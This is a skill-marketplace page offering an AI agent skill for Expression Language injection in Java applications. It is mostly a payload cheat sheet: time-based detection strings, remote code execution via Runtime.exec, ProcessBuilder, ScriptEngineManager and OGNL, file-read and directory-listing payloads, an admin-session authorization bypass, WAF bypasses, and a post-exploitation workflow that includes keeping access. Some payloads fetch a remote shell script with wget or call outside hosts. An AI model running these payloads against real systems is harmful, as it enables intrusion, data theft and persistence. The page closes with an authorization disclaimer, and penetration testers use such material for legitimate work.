# El Injection > Expression Language (EL) injection exploitation for Java applications. Use this skill whenever you need to detect, test, or exploit EL injection vulnerabilities in JavaEE applications, Spring Framework, JSP, JSF, or any Java-based web application. Trigger this skill for EL injection payloads, detection techniques, RCE exploitation, WAF bypass, or when analyzing Java template injection vulnerabilities. - Skill: `abelrguezr/el-injection` (Agent Skill, multi-file: 4 files) - Install (CLI): `npx skillmds@latest add abelrguezr/el-injection` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/el-injection/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/el-injection --- # EL Injection Exploitation Expression Language (EL) injection is a critical vulnerability in Java applications that allows attackers to execute arbitrary code by injecting malicious expressions into template engines. ## When to Use This Skill - Testing Java web applications for EL injection vulnerabilities - Analyzing JSP, JSF, or Spring-based applications - Exploiting template injection in Java environments - Bypassing WAFs for EL injection payloads - Conducting authorized penetration testing on Java applications ## Detection Methods ### 1. Basic Detection Payloads Test for EL injection with these payloads: ```bash # String operation test ${"zkz".toString().replace("k", "x")} # Expected: zxz (if vulnerable) # Simple math evaluation ${7*7} # Expected: 49 # Class access test ${"".getClass()} # Expected: class java.lang.String ``` ### 2. Blind Detection (Time-Based) ```bash # Sleep for 10 seconds ${"".getClass().forName("java.lang.Thread").sleep(10000)} # OGNL sleep variant ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString} ``` ### 3. Burp Detection Pattern ```bash # Inject in parameter value gk6q${"zkz".toString().replace("k", "x")}doap2 # If response shows "gk6qzxzdoap2", injection is confirmed ``` ## Exploitation Payloads ### Basic Operations ```bash # String manipulation ${"a".toString()} ${"dfd".replace("d","x")} # Class access ${"".getClass()} ${"".getClass().forName("java.util.Date")} # List class methods ${"".getClass().forName("java.util.Date").getMethods()[0].toString()} ``` ### Remote Code Execution (RCE) #### Method 1: Runtime.exec() ```bash # Basic RCE ${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} # With command output capture ${"".getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")} ``` #### Method 2: ProcessBuilder ```bash # ProcessBuilder RCE ${"".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[1].newInstance().start()} # Full ProcessBuilder example ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ``` #### Method 3: ScriptEngineManager ```bash # JavaScript engine RCE ${"a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")} # Alternative with facesContext ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder;x.command(\"wget\",\"http://x.x.x.x/1.sh\");")} ``` #### Method 4: OGNL-based RCE ```bash # Linux RCE via OGNL ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="/bin/sh",#ssss[1]="-c",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString} # Windows RCE via OGNL ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="cmd",#ssss[1]="/C",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString} ``` ### File Operations #### Remote File Inclusion ```bash ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=new java.io.FileInputStream(#wwww),#qqqq=new java.lang.Long(#wwww.length()),#tttt=new byte[#qqqq.intValue()],#llll=#pppp.read(#tttt),#pppp.close(),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(new java.lang.String(#tttt)),#kzxs.close(),1?#xx:#request.toString} ``` #### Directory Listing ```bash ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=#wwww.listFiles(),#qqqq=@java.util.Arrays@toString(#pppp),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(#qqqq),#kzxs.close(),1?#xx:#request.toString} ``` ### Environment Inspection ```bash # Access application scope ${applicationScope.toString()} # Access request scope ${requestScope.toString()} # Access session scope ${sessionScope.toString()} # Access init parameters ${initParam.toString()} # Access HTTP parameters ${param.X} # Replace X with parameter name # Access custom variables ${user} ${password} ${employee.FirstName} ``` ### Authorization Bypass ```bash # Set admin flag in session ${pageContext.request.getSession().setAttribute("admin", true)} # Alternative session manipulation ${session.setAttribute("admin", true)} ``` ## WAF Bypass Techniques ### 1. Character Encoding ```bash # URL encoding ${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS} # HTML entities ${$"".getClass()} ``` ### 2. Alternative Syntax ```bash # Bypass getClass restriction #{""["class"]} #{""["class"].forName("java.lang.Runtime")} # Using session storage #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} ``` ### 3. Spring Expression Language (SpEL) Variants ```bash # T() function for static method calls T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') # StreamUtils for output capture T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()) # Environment variable access T(java.lang.System).getenv()[0] ``` ## Testing Workflow ### Step 1: Identify Potential Injection Points Look for: - `.jsp` or `.jsf` file extensions - "Servlet" in response headers - Stack traces mentioning EL or template engines - User input reflected in responses - Parameters that might be evaluated as expressions ### Step 2: Run Detection Tests 1. Start with basic payloads to confirm vulnerability 2. Test blind detection if no output is visible 3. Verify the EL version and available features ### Step 3: Escalate to RCE 1. Use Runtime.exec() for basic command execution 2. Try ProcessBuilder for more complex commands 3. Use ScriptEngineManager for JavaScript-based payloads 4. Capture output using IOUtils or StreamUtils ### Step 4: Post-Exploitation 1. Inspect environment variables and scopes 2. Access sensitive data from session/request 3. Bypass authorization if needed 4. Maintain access through file operations ## Safety and Legal Considerations ⚠️ **IMPORTANT**: Only use these techniques on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal. - Always obtain written permission before testing - Document all findings for the client - Use these payloads in controlled environments - Report vulnerabilities responsibly ## References - [Exploiting OGNL Injection](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) - [RCE with EL Injection](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) - [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md) - [SPeL Injections](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) - [Spring EL WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) - [Pentest-Tools EL Tutorial](https://pentest-tools.com/exploiting-ognl-injection-in-apache-struts/)